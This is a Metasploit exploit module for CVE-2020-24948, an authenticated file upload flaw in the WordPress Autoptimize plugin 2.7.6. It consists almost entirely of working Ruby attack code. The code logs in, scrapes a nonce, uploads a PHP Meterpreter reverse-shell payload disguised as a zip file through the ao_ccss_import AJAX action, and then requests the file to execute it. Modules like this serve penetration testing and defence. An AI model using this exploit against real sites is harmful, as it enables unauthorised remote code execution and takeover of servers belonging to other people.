WordPress Autoptimize Shell Upload

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'Wordpress Autoptimize Authenticated File Upload',  
'Description' => %q{  
The ao_ccss_import AJAX call does not ensure that the file provided is a legitimate Zip file,  
allowing high privilege users to upload arbitrary files, such as PHP, leading to RCE.  
},  
'Author' =>  
[  
'Khanh Nguyen - Suncsr Team', # Vulnerability discovery  
'Hoa Nguyen - Suncsr Team', # Metasploit module  
'Thien Ngo - Suncsr Team' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2020-24948'],  
['EDB', '48770'],  
['WPVDB', '10372']  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
},  
'Targets' => [['WP Autoptimize 2.7.6', {}]],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2020-08-24'))  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'The WordPress password to authenticate with', nil]),  
OptString.new('PASSWORD', [true, 'The WordPress username to authenticate with', nil])  
])  
end  
  
def check  
check_plugin_version_from_readme('autoptimize','2.7.7')  
end  
  
def ao_ccss_import_nonce(cookie)  
res = send_request_cgi({  
'uri' => normalize_uri(wordpress_url_backend,'options-general.php'),  
'cookie' => cookie,  
'vars_get' => {  
'page' => 'ao_critcss'  
}  
},5)  
  
if res.code == 200  
print_good("Found ao_ccss_import_nonce_code Value!")  
else  
fail_with(Failure::Unknown,'Server did not response in an expected way')  
end  
  
ao_ccss_import_nonce_code = res.body.match(/'ao_ccss_import_nonce', '(\w+)/).captures[0]  
return ao_ccss_import_nonce_code  
end  
  
def exploit  
username = datastore['USERNAME']  
password = datastore['PASSWORD']  
print_status("Trying to login as #{username}")  
cookie = wordpress_login(datastore['USERNAME'],datastore['PASSWORD'])  
if cookie.nil?  
print_error("Unable to login as #{username}")  
end  
  
vars = ao_ccss_import_nonce(cookie)  
print_status("Trying to upload payload")  
filename = "#{rand_text_alpha_lower(8)}.php"  
  
data = Rex::MIME::Message.new  
data.add_part('ao_ccss_import', nil, nil, 'form-data; name="action"')  
data.add_part(vars, nil, nil, 'form-data; name="ao_ccss_import_nonce"')  
data.add_part(payload.encoded, 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{filename}\"")  
post_data = data.to_s  
print_status("Uploading payload")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(wordpress_url_backend,'admin-ajax.php'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data,  
'cookie' => cookie  
})  
  
if res.code == 200  
register_files_for_cleanup(filename)  
else  
fail_with(Failure::Unknown,'Server did not response in an expected way')  
end  
  
print_status("Calling uploaded file #{filename}")  
send_request_cgi({'uri' => normalize_uri(wordpress_url_wp_content, 'uploads','ao_ccss',filename)},5)  
end  
end  
`